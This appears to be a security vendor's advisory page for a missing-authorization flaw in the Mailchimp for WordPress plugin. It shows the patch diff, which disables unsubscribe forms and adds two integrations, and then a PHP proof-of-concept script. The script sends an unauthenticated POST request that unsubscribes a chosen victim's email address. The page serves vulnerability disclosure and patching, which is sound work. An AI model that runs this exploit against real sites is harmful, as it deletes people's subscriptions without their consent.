         add_action('mc4wp_output_form', [ $this, 'before_output_form' ]);
-        add_action('script_loader_tag', [ $this, 'add_defer_attribute' ], 10, 2);
+        add_filter('script_loader_tag', [ $this, 'add_defer_attribute' ], 10, 2);
     }

     /**
      * Register scripts to be enqueued later.
+     * @return void
      */
     public function register_scripts()
     {
@@ -41,7 +42,6 @@

     /**
      * @param string $stylesheet
-     *
      * @return bool
      */
     public function is_registered_stylesheet($stylesheet)
@@ -122,7 +122,7 @@
     /**
      * Get data object for client-side use for after a form is submitted over HTTP POST (not AJAX).
      *
-     * @return array
+     * @return null|array
      */
     public function get_submitted_form_data()
     {
--- a/mailchimp-for-wp/includes/forms/class-form-element.php
+++ b/mailchimp-for-wp/includes/forms/class-form-element.php
@@ -5,7 +5,6 @@
  *
  * @since 3.0
  * @ignore
- * @access private
  */
 class MC4WP_Form_Element
 {
@@ -83,8 +82,8 @@
         // hidden fields
         $hidden_fields  = '<label style="display: none !important;">' . __('Leave this field empty if you're human:', 'mailchimp-for-wp') . ' ' . '<input type="text" name="_mc4wp_honeypot" value="" tabindex="-1" autocomplete="off" /></label>';
         $hidden_fields .= '<input type="hidden" name="_mc4wp_timestamp" value="' . time() . '" />';
-        $hidden_fields .= '<input type="hidden" name="_mc4wp_form_id" value="' . esc_attr($this->form->ID) . '" />';
-        $hidden_fields .= '<input type="hidden" name="_mc4wp_form_element_id" value="' . esc_attr($this->ID) . '" />';
+        $hidden_fields .= '<input type="hidden" name="_mc4wp_form_id" value="' . esc_attr((string) $this->form->ID) . '" />';
+        $hidden_fields .= '<input type="hidden" name="_mc4wp_form_element_id" value="' . esc_attr((string) $this->ID) . '" />';

         // was "lists" parameter passed in shortcode arguments?
         if (! empty($this->config['lists'])) {
@@ -250,8 +249,8 @@
          *
          * Defaults to `null`, which means no `action` attribute will be printed.
          *
-         * @param string $form_action_attribute
-         * @param MC4WP_Form $form
+         * @param null|string $form_action_attribute
+         * @param MC4WP_Form_Element $form
          */
         $form_action_attribute = apply_filters('mc4wp_form_action', $form_action_attribute, $form);
         if (is_string($form_action_attribute)) {
@@ -262,7 +261,7 @@
          * Filters all attributes to be added to the `<form>` element
          *
          * @param array $attributes Key-value pairs of attributes.
-         * @param MC4WP_Form $form
+         * @param MC4WP_Form_Element $form
          */
         $attributes = (array) apply_filters('mc4wp_form_element_attributes', $attributes, $form);

--- a/mailchimp-for-wp/includes/forms/class-form-listener.php
+++ b/mailchimp-for-wp/includes/forms/class-form-listener.php
@@ -15,17 +15,13 @@

     public function add_hooks()
     {
-        add_action('init', [ $this, 'listen' ]);
+        add_action('init', [$this, 'action_init'], 10, 0);
     }

-    /**
-     * Listen for submitted forms
-     * @return bool
-     */
-    public function listen()
+    public function action_init()
     {
         if (empty($_POST['_mc4wp_form_id'])) {
-            return false;
+            return;
         }

         // get form instance
@@ -33,7 +29,7 @@
             $form_id = (int) $_POST['_mc4wp_form_id'];
             $form    = mc4wp_get_form($form_id);
         } catch (Exception $e) {
-            return false;
+            return;
         }

         // sanitize request data
@@ -68,7 +64,6 @@
         }

         $this->respond($form);
-        return true;
     }

     /**
@@ -76,7 +71,7 @@
      *
      * @param MC4WP_Form $form
      */
-    public function process_subscribe_form(MC4WP_Form $form)
+    public function process_subscribe_form(MC4WP_Form $form): void
     {
         $result     = false;
         $mailchimp  = new MC4WP_MailChimp();
@@ -84,7 +79,7 @@
         $data       = $form->get_data();
         $ip_address = mc4wp_get_request_ip_address();

-        /** @var MC4WP_MailChimp_Subscriber $subscriber */
+        /** @var null|MC4WP_MailChimp_Subscriber $subscriber */
         $subscriber = null;

         // create a map of all lists with list-specific data
@@ -204,40 +199,18 @@
     /**
      * @param MC4WP_Form $form
      */
-    public function process_unsubscribe_form(MC4WP_Form $form)
+    public function process_unsubscribe_form(MC4WP_Form $form): void
     {
-        $mailchimp = new MC4WP_MailChimp();
-        $log       = $this->get_log();
-        $result    = null;
-        $data      = $form->get_data();
-
-        // unsubscribe from each list
-        foreach ($form->get_lists() as $list_id) {
-            $result = $mailchimp->list_unsubscribe($list_id, $data['EMAIL']);
-        }
-
-        if (! $result) {
-            $form->add_notice($form->messages['error'], 'error');
-            $log->error(sprintf('Form %d > Mailchimp API error: %s', $form->ID, $mailchimp->get_error_message()));
-
-            // bail
-            return;
-        }
-
-        // Success! Unsubscribed.
-        $form->last_event = 'unsubscribed';
-        $form->add_notice($form->messages['unsubscribed'], 'notice');
-        $log->info(sprintf('Form %d > Successfully unsubscribed %s', $form->ID, $data['EMAIL']));
-
-        /**
-         * Fires right after a form was used to unsubscribe.
-         *
-         * @since 3.0
-         *
-         * @param MC4WP_Form $form Instance of the submitted form.
-         * @param string $email
-         */
-        do_action('mc4wp_form_unsubscribed', $form, $data['EMAIL']);
+        $form->add_error('unauthorized');
+        $this->get_log()->warning(
+            sprintf('Form %d > Unsubscribe forms used but this feature is no longer supported because of security implications', $form->ID)
+        );
+        _deprecated_function('MC4WP_Form_Listener::process_unsubscribe_form', '4.11.2', 'Unsubscribe forms are no longer supported');
+
+        // This feature was removed in version 4.11.2 and unsubscribe forms are now no longer functional
+        // We log the message here to give site admins a chance to remove the forms from their site
+        // and we don't want to silently turn them into subscribe forms
+        // TODO (Mar 2027): Remove this method entirely in a future major release, along with the "unsubscribe" action and related code in the MC4WP_Form class.
     }

     /**
--- a/mailchimp-for-wp/includes/forms/class-form-tags.php
+++ b/mailchimp-for-wp/includes/forms/class-form-tags.php
@@ -18,7 +18,7 @@
      */
     protected $form_element;

-    public function add_hooks()
+    public function add_hooks(): void
     {
         add_filter('mc4wp_form_response_html', [ $this, 'replace_in_form_response' ], 10, 2);
         add_filter('mc4wp_form_content', [ $this, 'replace_in_form_content' ], 10, 3);
@@ -28,7 +28,7 @@
     /**
      * Register template tags
      */
-    public function register()
+    public function register(): void
     {
         parent::register();

@@ -77,10 +77,8 @@

     /**
      * Returns the number of subscribers on the selected lists (for the form context)
-     *
-     * @return int
      */
-    public function get_subscriber_count()
+    public function get_subscriber_count(): string
     {
         $mailchimp = new MC4WP_MailChimp();
         $count     = $mailchimp->get_subscriber_count($this->form->get_lists());
@@ -89,10 +87,8 @@

     /**
      * Returns the form response
-     *
-     * @return string
      */
-    public function get_form_response()
+    public function get_form_response(): string
     {
         if ($this->form_element instanceof MC4WP_Form_Element) {
             return $this->form_element->get_response_html();
--- a/mailchimp-for-wp/includes/forms/class-form.php
+++ b/mailchimp-for-wp/includes/forms/class-form.php
@@ -1,5 +1,7 @@
 <?php

+// TODO (March 2027): Remove the "unsubscribe" action and related code in this class, as well as the "action" config setting, since the unsubscribe form type is no longer supported as of version 4.11.2.
+
 /**
  * Class MC4WP_Form
  *
@@ -7,7 +9,6 @@
  *
  * To get a form instance, use `mc4wp_get_form( $id );` where `$id` is the post ID.
  *
- * @access public
  * @since 3.0
  */
 class MC4WP_Form
@@ -195,7 +196,7 @@
     /**
      * @param string $element_id
      * @param array $config
-     * @return MC4WP_Form_element
+     * @return MC4WP_Form_Element
      */
     public function get_element($element_id = 'mc4wp-form', array $config = [])
     {
--- a/mailchimp-for-wp/includes/forms/class-output-manager.php
+++ b/mailchimp-for-wp/includes/forms/class-output-manager.php
@@ -4,7 +4,6 @@
  * Class MC4WP_Form_Output_Manager
  *
  * @ignore
- * @access private
  */
 class MC4WP_Form_Output_Manager
 {
@@ -64,7 +63,8 @@
             'element_class' => $attributes['element_class'],
         ];

-        return $this->output_form($attributes['id'], $config, false);
+        $form_id = (int) $attributes['id'];
+        return $this->output_form($form_id, $config, false);
     }

     /**
--- a/mailchimp-for-wp/includes/forms/class-widget.php
+++ b/mailchimp-for-wp/includes/forms/class-widget.php
@@ -84,14 +84,15 @@


         <?php
+        $widget = $this;
         /**
          * Runs right after the widget settings form is outputted
          *
          * @param array $settings
-         * @param MC4WP_Form_Widget $this
+         * @param MC4WP_Form_Widget $widget
          * @ignore
          */
-        do_action('mc4wp_form_widget_form', $settings, $this);
+        do_action('mc4wp_form_widget_form', $settings, $widget);
         ?>

         <p class="description">
--- a/mailchimp-for-wp/includes/forms/views/edit-form.php
+++ b/mailchimp-for-wp/includes/forms/views/edit-form.php
@@ -81,7 +81,8 @@
                         /**
                          * Runs when outputting a tab section on the "edit form" screen
                          *
-                         * @param string $tab
+                         * @param array $opts
+                         * @param MC4WP_Form $form
                          */
                         do_action('mc4wp_admin_edit_form_output_' . $tab . '_tab', $opts, $form);

--- a/mailchimp-for-wp/includes/forms/views/tabs/form-appearance.php
+++ b/mailchimp-for-wp/includes/forms/views/tabs/form-appearance.php
@@ -2,7 +2,7 @@

 $theme       = wp_get_theme();
 $css_options = [
-    '0'                                     => sprintf(esc_html__('Inherit from %s theme', 'mailchimp-for-wp'), $theme->Name),
+    '0'                                     => sprintf(esc_html__('Inherit from %s theme', 'mailchimp-for-wp'), $theme->Name), // @phpstan-ignore-line WP_Theme::$name is a dynamic property
     'basic'                                 => esc_html__('Basic', 'mailchimp-for-wp'),
     esc_html__('Form Themes', 'mailchimp-for-wp') => [
         'theme-light' => esc_html__('Light Theme', 'mailchimp-for-wp'),
--- a/mailchimp-for-wp/includes/integrations/class-integration-fixture.php
+++ b/mailchimp-for-wp/includes/integrations/class-integration-fixture.php
@@ -4,7 +4,9 @@
  * Class MC4WP_Integration_Fixture
  *
  * @since 3.0
- * @ignore
+ * @method is_installed()
+ * @property string $name
+ * @property string $description
  */
 class MC4WP_Integration_Fixture
 {
--- a/mailchimp-for-wp/includes/integrations/class-integration-manager.php
+++ b/mailchimp-for-wp/includes/integrations/class-integration-manager.php
@@ -4,7 +4,6 @@
  * Class MC4WP_Integration_Manager
  *
  * @ignore
- * @access private
  */
 class MC4WP_Integration_Manager
 {
@@ -118,7 +117,7 @@
     }

     /**
-     * @param MC4WP_Integration $integration
+     * @param MC4WP_Integration|MC4WP_Integration_Fixture $integration
      * @return bool
      */
     public function is_installed($integration)
@@ -144,7 +143,9 @@
         $enabled_integrations = array_unique($enabled_integrations);

         // filter out integrations which are not installed
-        $installed_enabled_integrations = array_filter($enabled_integrations, [ $this, 'is_installed' ]);
+        $installed_enabled_integrations = array_filter($enabled_integrations, function ($integration) {
+            return $this->is_installed($integration);
+        });

         return $installed_enabled_integrations;
     }
--- a/mailchimp-for-wp/includes/integrations/class-integration-tags.php
+++ b/mailchimp-for-wp/includes/integrations/class-integration-tags.php
@@ -16,7 +16,7 @@
     /**
      * Add hooks
      */
-    public function add_hooks()
+    public function add_hooks(): void
     {
         add_filter('mc4wp_integration_checkbox_label', [ $this, 'replace_in_checkbox_label' ], 10, 2);
     }
@@ -24,7 +24,7 @@
     /**
      * Register template tags for integrations
      */
-    public function register()
+    public function register(): void
     {
         parent::register();

@@ -48,10 +48,8 @@

     /**
      * Returns the number of subscribers on the selected lists (for the form context)
-     *
-     * @return int
      */
-    public function get_subscriber_count()
+    public function get_subscriber_count(): string
     {
         $mailchimp = new MC4WP_MailChimp();
         $list_ids  = $this->integration->get_lists();
--- a/mailchimp-for-wp/includes/integrations/class-integration.php
+++ b/mailchimp-for-wp/includes/integrations/class-integration.php
@@ -7,9 +7,7 @@
  *
  * Extend this class and implement the `add_hooks` method to get a settings page.
  *
- * @access public
  * @since 3.0
- * @abstract
  */
 abstract class MC4WP_Integration
 {
@@ -398,7 +396,7 @@
         $log         = $this->get_log();
         $list_ids    = $this->get_lists();

-        /** @var MC4WP_MailChimp_Subscriber $subscriber */
+        /** @var null|MC4WP_MailChimp_Subscriber $subscriber */
         $subscriber = null;
         $result     = false;

@@ -437,7 +435,7 @@
             $subscriber->email_type = $email_type;
             $subscriber->ip_signup  = mc4wp_get_request_ip_address();

-            /** @ignore (documented elsewhere) */
+            /** @ignore documented elsewhere */
             $subscriber = apply_filters('mc4wp_subscriber_data', $subscriber);
             if (! $subscriber instanceof MC4WP_MailChimp_Subscriber) {
                 continue;
--- a/mailchimp-for-wp/includes/integrations/class-user-integration.php
+++ b/mailchimp-for-wp/includes/integrations/class-user-integration.php
@@ -38,10 +38,10 @@
         }

         /**
-         * @use mc4wp_integration_user_data
          * @since 3.0
-         * @deprecated 4.0
-         * @ignore
+         * @deprecated 4.0 Use mc4wp_integration_user_data instead
+         * @param array $data
+         * @param WP_User $user
          */
         $data = (array) apply_filters('mc4wp_user_merge_vars', $data, $user);

--- a/mailchimp-for-wp/includes/integrations/views/integrations.php
+++ b/mailchimp-for-wp/includes/integrations/views/integrations.php
@@ -1,7 +1,8 @@
-<?php defined('ABSPATH') or exit;
-/** @var MC4WP_Integration_Fixture[] $enabled_integrations */
-/** @var MC4WP_Integration_Fixture[] $available_integrations */
-/** @var MC4WP_Integration_Fixture $integration */
+<?php
+
+defined('ABSPATH') or exit;
+
+/** @param MC4WP_Integration_Fixture $integration */
 function _mc4wp_integrations_table_row($integration)
 {
     $style_attr = ! $integration->is_installed() ? 'style="opacity: 0.6;"' : '';
--- a/mailchimp-for-wp/integrations/bootstrap.php
+++ b/mailchimp-for-wp/integrations/bootstrap.php
@@ -41,8 +41,10 @@
 mc4wp_register_integration('contact-form-7', 'MC4WP_Contact_Form_7_Integration', true);
 mc4wp_register_integration('events-manager', 'MC4WP_Events_Manager_Integration');
 mc4wp_register_integration('memberpress', 'MC4WP_MemberPress_Integration');
+mc4wp_register_integration('peepso', 'MC4WP_PeepSo_Integration');
 mc4wp_register_integration('affiliatewp', 'MC4WP_AffiliateWP_Integration');
 mc4wp_register_integration('give', 'MC4WP_Give_Integration');
+mc4wp_register_integration('simple-basic-contact-form', 'MC4WP_Simple_Basic_Contact_Form_Integration');
 mc4wp_register_integration('custom', 'MC4WP_Custom_Integration', true);
 mc4wp_register_integration('woocommerce', 'MC4WP_WooCommerce_Integration');

--- a/mailchimp-for-wp/integrations/gravity-forms/class-gravity-forms.php
+++ b/mailchimp-for-wp/integrations/gravity-forms/class-gravity-forms.php
@@ -78,6 +78,15 @@
                 jQuery('#field_mailchimp_double_optin').val(field.mailchimp_double_optin || "1");
                 jQuery('#field_mailchimp_precheck').val(field.mailchimp_precheck || "0");
             });
+
+            // Sync label changes to checkbox label text in real-time.
+            if (window.gform) {
+                gform.addAction('gform_post_set_field_property', function(name, field) {
+                    if (name === 'label' && field.type === 'mailchimp') {
+                        jQuery('#field_' + field.id + ' .gfield_checkbox label').text(field.label);
+                    }
+                });
+            }
         </script>
         <?php
     }
--- a/mailchimp-for-wp/integrations/ninja-forms/class-field.php
+++ b/mailchimp-for-wp/integrations/ninja-forms/class-field.php
@@ -16,8 +16,8 @@
     protected $_icon             = 'check-square-o';
     protected $_templates        = 'checkbox';
     protected $_test_value       = 0;
-    protected $_settings         = [ 'checkbox_default_value', 'checked_calc_value', 'unchecked_calc_value' ];
-    protected $_settings_exclude = [ 'default', 'placeholder', 'input_limit_set', 'checkbox_values' ];
+    protected $_settings         = ['checkbox_default_value', 'checked_calc_value', 'unchecked_calc_value'];
+    protected $_settings_exclude = ['default', 'placeholder', 'input_limit_set', 'checkbox_values'];

     /**
      * NF_Fields_Checkbox constructor.
@@ -29,7 +29,7 @@

         $this->_settings['label_pos']['value'] = 'right';

-        add_filter('ninja_forms_custom_columns', [ $this, 'custom_columns' ], 10, 2);
+        add_filter('ninja_forms_custom_columns', [$this, 'custom_columns'], 10, 2);
         add_action('init', [$this, 'translate_nicename']);
     }

@@ -63,14 +63,38 @@
     }

     /**
-    * Custom Columns
-    * Creates what is displayed in the columns on the submissions page.
-    * @since 3.0
-    *
-    * @param string $value checkbox value
-    * @param MC4WP_Ninja_Forms_Field $field field model.
-    * @return $value string|void
-    */
+     * Validate the field value.
+     *
+     * Overrides parent to handle checkbox-specific required validation,
+     * since checkboxes submit '0' when unchecked which the parent considers valid.
+     *
+     * @since 4.9
+     *
+     * @param array $field The field data.
+     * @param array $data  The form data.
+     * @return array Array of validation errors, empty if valid.
+     */
+    public function validate($field, $data)
+    {
+        $errors = parent::validate($field, $data);
+
+        if (isset($field['required']) && 1 == intval($field['required']) && empty($field['value'])) {
+            $errors['slug']    = 'required-error';
+            $errors['message'] = esc_html__('This field is required.', 'mailchimp-for-wp');
+        }
+
+        return $errors;
+    }
+
+    /**
+     * Custom Columns
+     * Creates what is displayed in the columns on the submissions page.
+     * @since 3.0
+     *
+     * @param string $value checkbox value
+     * @param MC4WP_Ninja_Forms_Field $field field model.
+     * @return $value string|void
+     */
     public function custom_columns($value, $field)
     {
         // If the field type is equal to checkbox...
--- a/mailchimp-for-wp/integrations/peepso/class-peepso.php
+++ b/mailchimp-for-wp/integrations/peepso/class-peepso.php
@@ -0,0 +1,65 @@
+<?php
+
+defined('ABSPATH') or exit;
+
+/**
+ * Class MC4WP_PeepSo_Integration
+ *
+ * @ignore
+ */
+class MC4WP_PeepSo_Integration extends MC4WP_User_Integration
+{
+    /**
+     * @var string
+     */
+    public $name = 'PeepSo';
+
+    /**
+     * @var string
+     */
+    public $description = 'Subscribes users from PeepSo registration forms.';
+
+    /**
+     * Add hooks
+     */
+    public function add_hooks()
+    {
+        if (! $this->options['implicit']) {
+            add_action('peepso_register_extended_fields', [$this, 'output_checkbox'], 20);
+        }
+
+        add_action('peepso_register_new_user', [$this, 'subscribe_from_peepso'], 10, 1);
+    }
+
+    /**
+     * Subscribes from PeepSo Registration Form.
+     *
+     * @param int $user_id
+     * @return bool
+     */
+    public function subscribe_from_peepso($user_id)
+    {
+        if (! $this->triggered()) {
+            return false;
+        }
+
+        $user = get_userdata($user_id);
+
+        // was a user found with the given ID?
+        if (! $user instanceof WP_User) {
+            return false;
+        }
+
+        $data = $this->user_merge_vars($user);
+
+        return $this->subscribe($data, $user_id);
+    }
+
+    /**
+     * @return bool
+     */
+    public function is_installed()
+    {
+        return class_exists('PeepSo');
+    }
+}
--- a/mailchimp-for-wp/integrations/simple-basic-contact-form/class-simple-basic-contact-form.php
+++ b/mailchimp-for-wp/integrations/simple-basic-contact-form/class-simple-basic-contact-form.php
@@ -0,0 +1,122 @@
+<?php
+
+defined('ABSPATH') or exit;
+
+/**
+ * Class MC4WP_Simple_Basic_Contact_Form_Integration
+ *
+ * Integrates Mailchimp for WordPress with the Simple Basic Contact Form plugin.
+ *
+ * @since 4.9.0
+ * @ignore
+ */
+class MC4WP_Simple_Basic_Contact_Form_Integration extends MC4WP_Integration
+{
+    /**
+     * @var string
+     */
+    public $name = 'Simple Basic Contact Form';
+
+    /**
+     * @var string
+     */
+    public $description = 'Subscribes people from Simple Basic Contact Form forms.';
+
+    /**
+     * Add hooks
+     */
+    public function add_hooks()
+    {
+        add_filter('scf_filter_contact_form', [$this, 'add_checkbox'], 20);
+        add_action('scf_send_email', [$this, 'process'], 10, 5);
+    }
+
+    /**
+     * Adds the MC4WP checkbox to the Simple Basic Contact Form HTML.
+     *
+     * Inserts the checkbox before the closing </form> tag so it appears
+     * inside the form, just before the submit area.
+     *
+     * @param string $form_html The full contact form HTML.
+     * @return string Modified form HTML with the checkbox injected.
+     */
+    public function add_checkbox($form_html)
+    {
+        // do not add a checkbox when integration is implicit
+        if ($this->options['implicit']) {
+            return $form_html;
+        }
+
+        global $scf_options;
+        $checkbox_html = $this->get_checkbox_html();
+
+        if (($scf_options['scf_gdpr_position'] ?? '') === 'before_submit') {
+            $form_html = str_replace('<div class="scf-submit">', $checkbox_html . PHP_EOL . '<div class="scf-submit">', $form_html);
+        } else {
+            $form_html = str_replace('</form>', $checkbox_html . PHP_EOL . '</form>', $form_html);
+        }
+        // insert the checkbox just before the closing </form> tag
+
+        return $form_html;
+    }
+
+    /**
+     * Process the form submission and subscribe the user if the checkbox was checked.
+     *
+     * Fires on the `scf_send_email` action after the contact form email is sent.
+     *
+     * @param string $recipient The email recipient.
+     * @param string $topic     The email subject.
+     * @param string $message   The email message body.
+     * @param string $headers   The email headers.
+     * @param string $email     The sender's email address (form submitter).
+     *
+     * @return bool
+     */
+    public function process($recipient, $topic, $message, $headers, $email)
+    {
+        // was sign-up checkbox checked?
+        if (! $this->triggered()) {
+            return false;
+        }
+
+        $parser = new MC4WP_Field_Guesser($this->get_data());
+        $data   = $parser->combine(['guessed', 'namespaced']);
+
+        // use the email from the action parameter if not found via field guesser
+        if (empty($data['EMAIL']) && ! empty($email)) {
+            $data['EMAIL'] = $email;
+        }
+
+        // do nothing if no email was found
+        if (empty($data['EMAIL'])) {
+            $this->get_log()->warning(sprintf('%s > Unable to find EMAIL field.', $this->name));
+            return false;
+        }
+
+        return $this->subscribe($data);
+    }
+
+    /**
+     * Are the required dependencies for this integration installed?
+     *
+     * @return bool
+     */
+    public function is_installed()
+    {
+        return function_exists('simple_contact_form');
+    }
+
+    /**
+     * Returns the UI elements to show on the settings page.
+     *
+     * Removes 'implicit' since this integration uses an explicit checkbox approach.
+     *
+     * @since 4.9.0
+     * @return array
+     */
+    public function get_ui_elements()
+    {
+        return array_diff(parent::get_ui_elements(), ['implicit']);
+    }
+}
--- a/mailchimp-for-wp/integrations/wpforms/class-field.php
+++ b/mailchimp-for-wp/integrations/wpforms/class-field.php
@@ -12,7 +12,7 @@
         $this->name     = 'Mailchimp';
         $this->type     = 'mailchimp';
         $this->icon     = 'fa-envelope-o';
-        $this->order    = 21;
+        $this->order    = 500;
         $this->defaults = [
             [
                 'label'   => 'Sign-up to our newsletter?',
@@ -43,11 +43,14 @@
         //--------------------------------------------------------------------//

         // Options open markup
-        $this->field_option('basic-options', $field, [ 'markup' => 'open' ]);
+        $this->field_option('basic-options', $field, ['markup' => 'open']);

         // Mailchimp list
         $this->field_option_mailchimp_list($field);

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1781 - MC4WP: Mailchimp for WordPress <= 4.11.1 - Missing Authorization to Unauthenticated Arbitrary Subscription Deletion

<?php

$target_url = 'https://vulnerable-site.com/';
$email_to_unsubscribe = 'victim@example.com';
$form_id = 1; // This must be obtained from the HTML source of a page with the MC4WP form

// Prepare the POST data with the malicious _mc4wp_action parameter
$post_data = [
    '_mc4wp_action' => 'unsubscribe', // Triggers the unsubscribe action without auth
    'EMAIL' => $email_to_unsubscribe, // Target email address
    '_mc4wp_form_id' => $form_id, // Publicly exposed form identifier
    '_wpnonce' => 'bypassed', // Nonce is not validated in vulnerable versions
    '_redirect_to' => $target_url // Redirect after processing
];

// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Check for success indicators
if ($http_code === 200 && strpos($response, 'You have been unsubscribed') !== false) {
    echo "Successfully unsubscribed $email_to_unsubscribe from Mailchimp list.n";
} else {
    echo "Exploit attempt completed. Check Mailchimp audience for subscription changes.n";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School